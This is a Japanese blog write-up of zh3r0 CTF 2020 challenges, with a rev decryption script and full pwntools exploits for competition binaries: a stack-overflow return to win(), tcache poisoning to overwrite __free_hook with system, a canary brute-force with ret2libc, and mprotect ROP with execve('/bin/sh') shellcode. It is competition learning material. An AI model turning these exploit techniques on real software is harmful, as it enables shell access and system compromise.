イントロ
最近レポートに殺されていた(同時にレポートを殺していた)ため CTF に参加できていなかったが、 夜 11 時にふと思い立って適当に今建っている野良 CTF に参加することにした。 参加したのはzh3r0 CTF 2020 (インドの CTF?)。 やっぱ一人だと詰まったところで悶々として壁を殴るしかできないため、殴る用の壁を買おうと思う。
Snakes Everywhere (rev)
pwn が 3 問しか出ていない時に消化不良だったため解いた Rev 問。
python のディスアセンブルコード(もとのコードは本物の Flag を暗号化してる)と暗号化されたデータファイルが渡されている。 普通に python のディスアセンブルコードを読んで、それと逆のことをするプログラムを書いて暗号化データをデコードすればいい。
exploit.py 1def xor(str1,str2):
2 return chr(ord(str1) ^ ord(str2))
3
4flag = ""
5len_flag = 38
6key = "I_l0v3_r3v3r51ng"
7
8with open("./snake.txt","rb") as f:
9 cipher = f.read()
10
11
12for i in range(len_flag+63,63+len(key)//2,-1):
13 flag += xor(chr(cipher[i]),key[i%16])
14
15for i in range(len_flag//3*2+63,63+len_flag//3-1):
16 flag += chr(cipher[i] // ord(key[i%len(key)] + i))
17 print("*")
18
19print(flag)
20
21'''
22# original code
23def xor(str1,str2):
24 return chr(ord(str1) ^ ord(str2))
25
26
27# file length == 38(0x26)
28flag = "zh3r0{fake flag}"
29key = "I_l0v3r3v3r51ng"
30
31if len(flag) == 38:
32 print("ERROR")
33 exit()
34
35ciphertext = ""
36
37for i in range(len(flag)//3):
38 ciphertext += chr(ord(flag[i])*ord(key[i]))
39
40for i in range(len(flag)//3,len(flag)//3*2):
41 ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)] + i)
42
43for i in range((len(key)//2,len(flag)):
44 ciphertext += xor(key[i%16],flag[i])
45
46'''
未完成なまま動かしたら殆どデコードできたから後は脳内補完した。
zh3r0{python_disass3mbly_is v3ry_E4sy}
FreeFlag
win()
関数あり、StackOverflow あり。指を動かすカロリーのみが必要:
1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./chall"
8LIBCNAME = ""
9
10#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
11hosts = ("us.pwn.zh3r0.ml","localhost","localhost")
12ports = (3456,12900,23947)
13rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
14rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
15rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
16context(os='linux',arch='amd64')
17binf = ELF(FILENAME)
18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
19
20
21## utilities #########################################
22
23win = 0x400707
24
25def hoge():
26 pass
27
28## exploit ###########################################
29
30def exploit():
31 global c
32
33 c.recvuntil("name: ")
34 raw_input("OK")
35 c.send("A"*0x28+p64(win+1))
36
37
38## main ##############################################
39
40if __name__ == "__main__":
41 global c
42
43 if len(sys.argv)>1:
44 if sys.argv[1][0]=="d":
45 cmd = """
46 set follow-fork-mode parent
47 """
48 c = gdb.debug(FILENAME,cmd)
49 elif sys.argv[1][0]=="r":
50 c = remote(rhp1["host"],rhp1["port"])
51 elif sys.argv[1][0]=="v":
52 c = remote(rhp3["host"],rhp3["port"])
53 else:
54 c = remote(rhp2['host'],rhp2['port'])
55 exploit()
56 c.interactive()
zh3r0{welcome_to_zh3r0_ctf}
Command 1
バイナリ読んでないから詳細は分からず。 以下で flag が取れる:
- Add: hoge
- Edit: 0->sh
- Run: 0
残念な非想定解が存在した問題(レビュー時に気づかないのがちょっと不思議)。
zh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}
一瞬 flag で笑わせに来てるのかと思った。 想定解を flag に入れると、非想定解があったときにださくなるからやめようと思った。
Help
sec.sh1./chall2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8706cc0104f816cb54565b44b7bcbb07bda87ac8, not stripped
2 Arch: amd64-64-little
3 RELRO: Partial RELRO
4 Stack: No canary found
5 NX: NX enabled
6 PIE: No PIE (0x400000)
冗長すぎるバイナリが配布される。これは何か妙技があるのかと思ったら、ただ冗長だった。
.bss
の指定の場所に一度のみ自由に書き込みできる。
18byte stack overflow がある。
まずは libcbase を leak する。
pop rdi
gadget を用いてgot[setvbuf]
を rdi に積んだ後、main
関数中のcall puts
の直前に飛ぶように ROP する。
puts()
で libc leak をしたあとも普通に 2 回目のmain
関数は続きread()
をする。
2 回目のmain
に return する際に RSP は 2 回目のread
でgot[setvbuf]+0x20
に対してread
をすることになるから、
前述の ROP の際 FBP の場所に.bss
セクションのアドレスを上書きし、.bss
にはgot[setvbuf]+0x20
のアドレスを書き込んでおき、onegadget で GOT overwrite。
最後に 2 回目の return をするところで、.bss
に仕込んでおいたplt[setvbuf]
に return して終了。
zh3r0{thanks_somuch_for_helping_my_friend____btw_please_DM_me_what_solution_did_you_use}
Command2
Double Free できるので tcache poisoning して終わり:
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./chall"
8LIBCNAME = "./libc.so.6"
9
10#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
11hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
12ports = (7530,12900,23947)
13rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
14rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
15rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
16context(os='linux',arch='amd64')
17binf = ELF(FILENAME)
18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
19
20
21## utilities #########################################
22
23
24def hoge(ix):
25 global c
26 c.recvuntil("> ")
27 c.sendline(str(ix))
28
29def _add(command,size,description):
30 global c
31 hoge(1)
32 c.recvline()
33 c.recvuntil("> ")
34 print("********::")
35 c.send(command)
36 c.recvline()
37 c.send(str(size))
38 c.recvline()
39 c.send(description)
40
41def _run(command,ix):
42 hoge(2)
43
44def _del(ix):
45 hoge(4)
46 c.recvuntil("index: ")
47 c.sendline(str(ix))
48
49def _show(ix):
50 hoge(5)
51 c.recvuntil("index")
52 c.sendline(str(ix))
53
54## exploit ###########################################
55
56def exploit():
57 global c
58
59 _add("A"*0x18,0x600,"B"*0x600)
60 _add("C"*0x18,0x38,"D"*0x38)
61 print("[+] created two command")
62 print("sleeping...")
63 sleep(2)
64 _show(1)
65 print("[+] showed")
66 c.recvuntil("C"*0x18)
67 heapbase = unpack(c.recvline().rstrip()[:-1].ljust(8,'\x00')) - 0x950-0x1f0+0x200+0x70
68 print("heap: "+hex(heapbase))
69 c.recvline()
70
71 _add(p64(0x41)*3,0x38,"F"*0x38)
72 _del(1)
73 _del(1)
74 _del(0)
75
76 #_add(p64(1)+"\n",0x38,p64(heapbase+0x50))
77 _add(p64(heapbase+0x260)+"\n",0x58,"E"*0x8)
78 _show(3)
79 c.recvuntil("E"*0x8)
80 libcbase = unpack(c.recv(6).ljust(8,'\x00')) - 0x3ec110
81 print("libcbase: "+hex(libcbase))
82
83
84 ogs = [0x4f2c5,0x4f322,0x10a38c]
85
86 _add("E"*0x18,0x38,p64(libcbase+libc.symbols["__free_hook"]))
87 _add("/bin/sh;\n",0x38,"E"*8)
88 _add("/bin/sh;\n",0x38,p64(libcbase+libc.symbols["system"]))
89
90 hoge(4)
91 c.recvuntil("index: ")
92 c.sendline(str(5))
93
94## main ##############################################
95
96if __name__ == "__main__":
97 global c
98
99 if len(sys.argv)>1:
100 if sys.argv[1][0]=="d":
101 cmd = """
102 set follow-fork-mode parent
103 """
104 c = gdb.debug(FILENAME,cmd)
105 elif sys.argv[1][0]=="r":
106 c = remote(rhp1["host"],rhp1["port"])
107 elif sys.argv[1][0]=="v":
108 c = remote(rhp3["host"],rhp3["port"])
109 else:
110 c = remote(rhp2['host'],rhp2['port'])
111 exploit()
112 c.interactive()
zh3r0{don't_let_heap_pwn_killed_dmmeyoursol}
Blind
バイナリが与えられていない blind pwn。 blind pwn と言えば FSA で elfbase 求めてなんたらみたいなのが多い気がしているが、 本問では libcbase(みたいなもの。そうとは言われてない)が最初から与えられている。 一度だけ入力を求められ、大量に入力すると以下のようになる:
Core dumped
とは表示されているが明らかに本物のコアダンプではないため、
自前のカナリアを飼っているものと考えられる
ここらで TSG の sandbox で愚痴を言っていたところ、
卍うにしいず卍
さんがささっとカナリアを求めてくれたため、
それを使って ret2libc で終了。
(頭がついていなかったため 256^8
回の brute-force が必要かと思ってしまっていたが 256*8
回で良かった)
(coredump が0x24
以上からであり、8byte align されていないの気持ち悪いなと思っていたら、カナリアのあとに 0x4byte 埋める必要があった)
1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = ""
8LIBCNAME = "../help/libc.so.6"
9
10hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
11ports = (3248,12300,23947)
12rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
13rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
14rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
15context(os='linux',arch='amd64')
16#binf = ELF(FILENAME)
17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
18
19
20## utilities #########################################
21
22def hoge():
23 pass
24
25## exploit ###########################################
26
27def exploit(canary,num):
28 global c
29
30 with open("test.txt","w") as f:
31 f.write("A"*0x20000)
32
33 ogs = [0x4f2c5,0x4f322,0x10a38c]
34 tro = "🏆"
35 medal = "🥇"
36
37 c.recvuntil("->")
38 c.sendline("yes")
39 #c.send("yes"+"A"*0x10)
40 c.recvuntil("->")
41 c.sendline("yes")
42
43 c.recvuntil("-> ")
44 libcbase = int(c.recvline().rstrip(),16)
45 #print("libcbase: "+hex(libcbase))
46
47 c.recvuntil("->")
48 c.send(medal*0x24 + canary + p8(num))
49
50 if "Core" in c.recv(4):
51 return False
52 else:
53 return True
54
55def exploit2():
56 global c
57
58 with open("test.txt","w") as f:
59 f.write("A"*0x20000)
60
61 ogs = [0x4f2c5,0x4f322,0x10a38c]
62 tro = "🏆"
63 medal = "🥇"
64
65 c.recvuntil("->")
66 c.sendline("yes")
67 #c.send("yes"+"A"*0x10)
68 c.recvuntil("->")
69 c.sendline("yes")
70
71 c.recvuntil("-> ")
72 libcbase = int(c.recvline().rstrip(),16)
73
74 c.recvuntil("->")
75 canary = '\xc1\x16\x8b\x99\x91\x9b\x1a\x31'
76 c.send(tro*(0x24//4) + canary + "A"*4 + p64(libcbase+ogs[2])*0x2)
77 return
78
79
80## main ##############################################
81
82if __name__ == "__main__":
83 global c
84 canary = ""
85
86 if len(sys.argv)>1:
87 if sys.argv[1][0]=="d":
88 cmd = """
89 set follow-fork-mode parent
90 """
91 c = gdb.debug(FILENAME,cmd)
92 elif sys.argv[1][0]=="r":
93 c = remote(rhp1["host"],rhp1["port"])
94 elif sys.argv[1][0]=="v":
95 c = remote(rhp3["host"],rhp3["port"])
96 elif sys.argv[1][0]=="j":
97 c = remote(rhp1["host"],rhp1["port"])
98 exploit2()
99 c.interactive()
100 else:
101 c = remote(rhp2['host'],rhp2['port'])
zh3r0{Be_awareof_static_stack_cookie_}
\x32\x64
唯一長時間かけた問題。
なんか途中で 32bit mode になってスタックポインタがイカれるため、
mprotect()
で.bss
セクションを executable にして、
そこに push を使わないシェルコードをぶち込んでおくという問題。
但し一番焦ったのは flag を提出した気になって提出をしていなかったこと。
しかも/tmp
ディレクトリで作業していたため、
解き終わった後にexploit
を消してしまうという失態を犯した。ま
ぁ上位を狙ってるわけでもないし flag を通さなくてもいいやということで放置した:
1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./chall"
8LIBCNAME = ""
9
10#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
11hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
12ports = (9653,12300,23947)
13rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
14rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
15rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
16context(os='linux',arch='amd64')
17binf = ELF(FILENAME)
18libc = ELF(LIBCNAME) if LIBCNAME!="" else None
19
20
21## utilities #########################################
22
23
24def hoge():
25 pass
26
27## exploit ###########################################
28
29def exploit():
30 global c
31 addr_main = 0x400130
32 addr_bss = 0x600000
33
34 c.recvuntil("name: ")
35 # mprotect(addr_bss,0x1000,7)でbssをexecutableにする
36 # rdiにはreadの返り値として0x7dを入れて0x4000e8でraxにmov
37 c.send(p64(addr_bss)+p64(0x7)+p64(addr_bss)+p64(0xff)+p64(0)+p32(0x4000e8))
38 c.recvuntil(": ")
39 # executableにした後でexecve("/bin/sh")
40 shellcode = asm("mov eax,0xb")
41 shellcode += asm("mov ebx,{}".format(hex(addr_bss+0x4)))
42 shellcode += asm("mov ecx,0")
43 shellcode += asm("mov edx,0")
44 shellcode += asm("int 0x80")
45 pay = p32(addr_bss+0xc)+"/bin/sh\x00"+shellcode
46 pay += "\xc9"*(0x7d-len(pay))
47 c.send(pay)
48
49
50
51## main ##############################################
52
53if __name__ == "__main__":
54 global c
55
56 if len(sys.argv)>1:
57 if sys.argv[1][0]=="d":
58 cmd = """
59 set follow-fork-mode parent
60 """
61 c = gdb.debug(FILENAME,cmd)
62 elif sys.argv[1][0]=="r":
63 c = remote(rhp1["host"],rhp1["port"])
64 elif sys.argv[1][0]=="v":
65 c = remote(rhp3["host"],rhp3["port"])
66 else:
67 c = remote(rhp2['host'],rhp2['port'])
68 exploit()
69 c.interactive()
zh3r0{is_it_32bit_or_64bit}
アウトロ
自宅に G が出たら発狂するくらい嫌なのに、 他人の家に出たら何であんなにテンション上がるんだろうなぁ。